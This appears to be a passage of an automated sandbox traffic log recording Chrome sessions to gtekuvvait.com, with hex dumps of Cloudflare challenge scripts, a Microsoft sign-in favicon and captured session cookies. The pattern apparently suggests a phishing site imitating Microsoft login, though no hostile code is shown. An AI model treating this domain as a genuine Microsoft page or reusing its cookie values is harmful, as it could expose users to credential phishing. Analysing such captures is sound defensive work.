2024-10-01 13:08:10 UTC	1369	IN	Data Raw: 61 39 28 33 32 32 29 5d 28 32 2c 32 29 2c 4d 3d 31 3b 52 21 3d 4d 3b 53 3d 4f 26 4e 2c 4f 3e 3e 3d 31 2c 30 3d 3d 4f 26 26 28 4f 3d 45 2c 4e 3d 46 28 50 2b 2b 29 29 2c 51 7c 3d 4d 2a 28 30 3c 53 3f 31 3a 30 29 2c 4d 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 51 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 51 3d 30 2c 52 3d 4d 61 74 68 5b 61 39 28 33 32 32 29 5d 28 32 2c 38 29 2c 4d 3d 31 3b 4d 21 3d 52 3b 53 3d 4e 26 4f 2c 4f 3e 3e 3d 31 2c 30 3d 3d 4f 26 26 28 4f 3d 45 2c 4e 3d 46 28 50 2b 2b 29 29 2c 51 7c 3d 28 30 3c 53 3f 31 3a 30 29 2a 4d 2c 4d 3c 3c 3d 31 29 3b 54 3d 65 28 51 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 66 6f 72 28 51 3d 30 2c 52 3d 4d 61 74 68 5b 61 39 28 33 32 32 29 5d 28 32 2c 31 36 29 2c 4d 3d 31 3b 4d 21 3d 52 3b 53 3d 4e 26 4f 2c 4f 3e Data Ascii: a9(322)](2,2),M=1;R!=M;S=O&N,O>>=1,0==O&&(O=E,N=F(P++)),Q\|=M(0<S?1:0),M<<=1);switch(Q){case 0:for(Q=0,R=Math[a9(322)](2,8),M=1;M!=R;S=N&O,O>>=1,0==O&&(O=E,N=F(P++)),Q\|=(0<S?1:0)M,M<<=1);T=e(Q);break;case 1:for(Q=0,R=Math[a9(322)](2,16),M=1;M!=R;S=N&O,O>
2024-10-01 13:08:10 UTC	1369	IN	Data Raw: 6e 20 47 3d 7b 7d 2c 47 2e 72 3d 7b 7d 2c 47 2e 65 3d 48 2c 47 7d 7d 66 75 6e 63 74 69 6f 6e 20 61 28 61 68 29 7b 72 65 74 75 72 6e 20 61 68 3d 27 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 4e 61 6d 65 73 2c 6e 75 6d 62 65 72 2c 4f 62 6a 65 63 74 2c 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 2c 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 2c 25 32 62 2c 70 6f 77 2c 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 68 2f 2c 31 32 35 36 6e 50 6b 43 4e 73 2c 32 32 32 33 30 76 49 4a 79 54 66 2c 34 30 34 56 76 51 50 43 55 2c 45 72 72 6f 72 20 6f 62 6a 65 63 74 3a 20 2c 6d 61 70 2c 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 2c 63 46 50 57 76 2c 63 61 74 63 68 2c 66 72 6f 6d 43 68 Data Ascii: n G={},G.r={},G.e=H,G}}function a(ah){return ah='getOwnPropertyNames,number,Object,getPrototypeOf,onreadystatechange,%2b,pow,/cdn-cgi/challenge-platform/h/,1256nPkCNs,22230vIJyTf,404VvQPCU,Error object: ,map,hasOwnProperty,display: none,cFPWv,catch,fromCh
2024-10-01 13:08:10 UTC	1369	IN	Data Raw: 72 4e 42 69 35 3b 54 4d 4d 78 35 3b 48 63 54 45 49 33 3b 69 48 77 78 4d 33 3b 56 67 75 79 36 3b 48 76 6d 72 33 3b 4f 75 57 54 37 2c 66 6c 6f 6f 72 2c 35 30 32 37 50 71 63 66 50 54 2c 63 68 6c 41 70 69 53 69 74 65 6b 65 79 2c 64 6f 63 75 6d 65 6e 74 2c 63 61 6c 6c 2c 63 6f 6e 63 61 74 27 2e 73 70 6c 69 74 28 27 2c 27 29 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 68 7d 2c 61 28 29 7d 66 75 6e 63 74 69 6f 6e 20 78 28 64 2c 61 61 29 7b 72 65 74 75 72 6e 20 61 61 3d 56 2c 4d 61 74 68 5b 61 61 28 33 33 34 29 5d 28 29 3c 64 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 64 2c 59 2c 65 29 7b 66 6f 72 28 59 3d 56 2c 65 3d 5b 5d 3b 64 21 3d 3d 6e 75 6c 6c 3b 65 3d 65 5b 59 28 34 32 36 29 5d 28 4f 62 6a 65 63 74 5b 59 28 33 36 37 29 5d 28 64 29 29 2c 64 Data Ascii: rNBi5;TMMx5;HcTEI3;iHwxM3;Vguy6;Hvmr3;OuWT7,floor,5027PqcfPT,chlApiSitekey,document,call,concat'.split(','),a=function(){return ah},a()}function x(d,aa){return aa=V,Math[aa(334)]()<d}function m(d,Y,e){for(Y=V,e=[];d!==null;e=e[Y(426)](Object[Y(367)](d)),d
2024-10-01 13:08:10 UTC	538	IN	Data Raw: 72 2b 61 64 28 34 30 39 29 2c 48 3d 6e 65 77 20 67 5b 28 61 64 28 33 39 35 29 29 5d 28 29 2c 21 48 29 72 65 74 75 72 6e 3b 49 3d 61 64 28 33 34 32 29 2c 4a 3d 7b 7d 2c 4a 5b 61 64 28 34 32 33 29 5d 3d 67 5b 61 64 28 33 35 36 29 5d 5b 61 64 28 34 32 33 29 5d 2c 4a 5b 61 64 28 33 34 36 29 5d 3d 67 5b 61 64 28 33 35 36 29 5d 5b 61 64 28 33 34 36 29 5d 2c 4a 5b 61 64 28 34 30 31 29 5d 3d 67 5b 61 64 28 33 35 36 29 5d 5b 61 64 28 34 30 31 29 5d 2c 4b 3d 4a 2c 48 5b 61 64 28 33 39 34 29 5d 28 49 2c 47 2c 21 21 5b 5d 29 2c 48 5b 61 64 28 33 35 39 29 5d 3d 32 35 30 30 2c 48 5b 61 64 28 33 33 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 48 5b 61 64 28 33 38 30 29 5d 28 61 64 28 34 30 34 29 2c 61 64 28 34 30 38 29 29 2c 4c 3d 7b 7d 2c 4c 5b 61 64 28 34 30 32 Data Ascii: r+ad(409),H=new g[(ad(395))](),!H)return;I=ad(342),J={},J[ad(423)]=g[ad(356)][ad(423)],J[ad(346)]=g[ad(356)][ad(346)],J[ad(401)]=g[ad(356)][ad(401)],K=J,H[ad(394)](I,G,!![]),H[ad(359)]=2500,H[ad(336)]=function(){},H[ad(380)](ad(404),ad(408)),L={},L[ad(402

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49731	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:10 UTC	383	OUT	GET /turnstile/v0/g/ec4b873d446c/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:10 UTC	441	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:10 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47262 Connection: close accept-ranges: bytes last-modified: Tue, 17 Sep 2024 16:06:37 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8cbcae0d6b2fde99-EWR
2024-10-01 13:08:10 UTC	928	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 56 74 28 65 2c 72 2c 61 2c 6f 2c 63 2c 6c 2c 67 29 7b 74 72 79 7b 76 61 72 20 66 3d 65 5b 6c 5d 28 67 29 2c 70 3d 66 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 73 29 7b 61 28 73 29 3b 72 65 74 75 72 6e 7d 66 2e 64 6f 6e 65 3f 72 28 70 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 70 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 72 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Vt(e,r,a,o,c,l,g){try{var f=e[l](g),p=f.value}catch(s){a(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Wt(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var l=e.apply(r,a);funct
2024-10-01 13:08:10 UTC	1369	IN	Data Raw: 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 74 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 6c 6c 3f 72 3a 7b 7d 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 Data Ascii: ct.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function tt(e,r){return r=r!=null?r:{},Object.getOwnPropertyD
2024-10-01 13:08:10 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 48 74 28 65 29 7c 7c 42 74 28 65 2c 72 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 6a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 50 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 44 65 28 65 2c 72 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 5d 26 31 29 74 68 72 6f 77 20 6c 5b 31 5d 3b 72 65 74 75 72 6e 20 6c 5b 31 5d 7d 2c 74 72 Data Ascii: function Ae(e,r){return Ht(e)\|\|Bt(e,r)\|\|qt(e,r)\|\|jt()}function P(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function De(e,r){var a={label:0,sent:function(){if(l[0]&1)throw l[1];return l[1]},tr
2024-10-01 13:08:10 UTC	1369	IN	Data Raw: 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 47 74 3d 33 30 30 30 32 30 3b 76 61 72 20 50 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4d 41 4e 41 47 45 44 3d 22 6d 61 6e 61 67 65 64 22 2c Data Ascii: oaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Gt=300020;var Pe=300030;var Ue=300031;var q;(function(e){e.MANAGED="managed",
2024-10-01 13:08:10 UTC	1369	IN	Data Raw: 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 45 4e 44 45 52 3d 22 72 65 6e 64 65 72 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 7d 29 28 70 65 7c 7c 28 70 65 3d 7b 7d 29 29 3b 76 61 72 20 6f 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 7d 29 Data Ascii: al",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(function(e){e.RENDER="render",e.EXECUTE="execute"})(pe\|\|(pe={}));var oe;(function(e){e.EXECUTE="execute"})
2024-10-01 13:08:10 UTC	1369	IN	Data Raw: 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e Data Ascii: archParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="default"&&r.set("clearance_level",e.params.
2024-10-01 13:08:10 UTC	1369	IN	Data Raw: 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 6c 2c 67 3d 4c 28 43 72 2c 28 6c 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 66 2c 70 3d 4c 28 4e 72 2c 28 66 3d 28 61 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 61 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 66 21 3d 3d 76 6f 69 64 20 30 3f 66 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 Data Ascii: ===Se.FAILURE_HAVING_TROUBLES,l,g=L(Cr,(l=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&l!==void 0?l:"nonexistent"),f,p=L(Nr,(f=(a=e.displayLanguage)===null\|\|a===void 0?void 0:a.toLowerCase())!==null&&f!==void 0?f:"nonexistent")
2024-10-01 13:08:10 UTC	1369	IN	Data Raw: 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 67 29 7b 76 61 72 20 66 3d 5b 6e 75 6c 6c 5d 3b 66 2e 70 75 73 68 2e 61 70 70 6c 79 28 66 2c 6c 29 3b 76 61 72 20 70 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 66 29 2c 73 3d 6e 65 77 20 70 3b 72 65 74 75 72 6e 20 67 26 26 4a 28 73 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 73 7d 2c 49 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 Data Ascii: uct:Ie=function(c,l,g){var f=[null];f.push.apply(f,l);var p=Function.bind.apply(c,f),s=new p;return g&&J(s,g.prototype),s},Ie.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Object.getPrototypeOf:function(a){return a.__proto__\|\|Object
2024-10-01 13:08:10 UTC	1369	IN	Data Raw: 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 71 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 57 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 57 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 57 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 54 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 75 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 3b 69 66 28 55 28 72 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 72 Data Ascii: flare Turnstile] ".concat(e))}function qe(e){return e.startsWith(We)?e.substring(We.length):null}function K(e){return"".concat(We).concat(e)}function Tt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=document.currentScript;if(U(r,HTMLScriptElement)&&e.test(r
2024-10-01 13:08:10 UTC	1369	IN	Data Raw: 66 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b 76 61 72 20 73 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 73 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 66 65 65 64 62 61 63 6b 22 2c 73 2e 69 64 3d Data Ascii: f.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";var s=document.createElement("div");s.className="cf-turnstile-feedback",s.id=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49732	152.199.21.175	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:10 UTC	640	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://gtekuvvait.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:11 UTC	720	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 16529368 Cache-Control: public, max-age=31536000 Content-MD5: EuPayFgGHQiAI7K9SOL6lg== Content-Type: image/x-icon Date: Tue, 01 Oct 2024 13:08:10 GMT Etag: 0x8D8731240E548EB Last-Modified: Sun, 18 Oct 2020 03:02:30 GMT Server: ECAcc (lhc/7944) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 1c016ee5-901e-008a-08ad-7d0366000000 x-ms-version: 2009-09-19 Content-Length: 17174 Connection: close
2024-10-01 13:08:12 UTC	16383	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-10-01 13:08:12 UTC	791	IN	Data Raw: 01 80 00 00 01 80 00 28 00 00 00 18 00 00 00 30 00 00 00 01 00 04 00 00 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 Data Ascii: (0"P""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49739	104.21.11.126	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:11 UTC	798	OUT	GET /cdn-cgi/challenge-platform/h/g/scripts/jsd/ec4b873d446c/main.js? HTTP/1.1 Host: gtekuvvait.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; gSaS8avy_wI_yiRmm2mEqhqzNfw=1727788086; Uk7aT3LVFyyC59E7GXZA4bh_PBs=1727874486; Ry9hFaaXTCPp9EgROrpabb_CLbY=whime-c7aQhFzx51Gvq2Tf62gkQ
2024-10-01 13:08:12 UTC	652	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:11 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 8037 Connection: close cache-control: max-age=14400, stale-if-error=10800, stale-while-revalidate=10800, public x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CuBBrQajsF93KhF%2F6OVZCIlFPa7iKvd393aEz7EPDlqhKn0ahwMtJMWiZAuOWWRDPCqkzHdtIZOm%2FM9UHktbT0xuDGXdHg%2FkYpC%2BMexQGvIsgwO4P9wAIKhdsB4NudRoVQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cbcae11bc0a433d-EWR
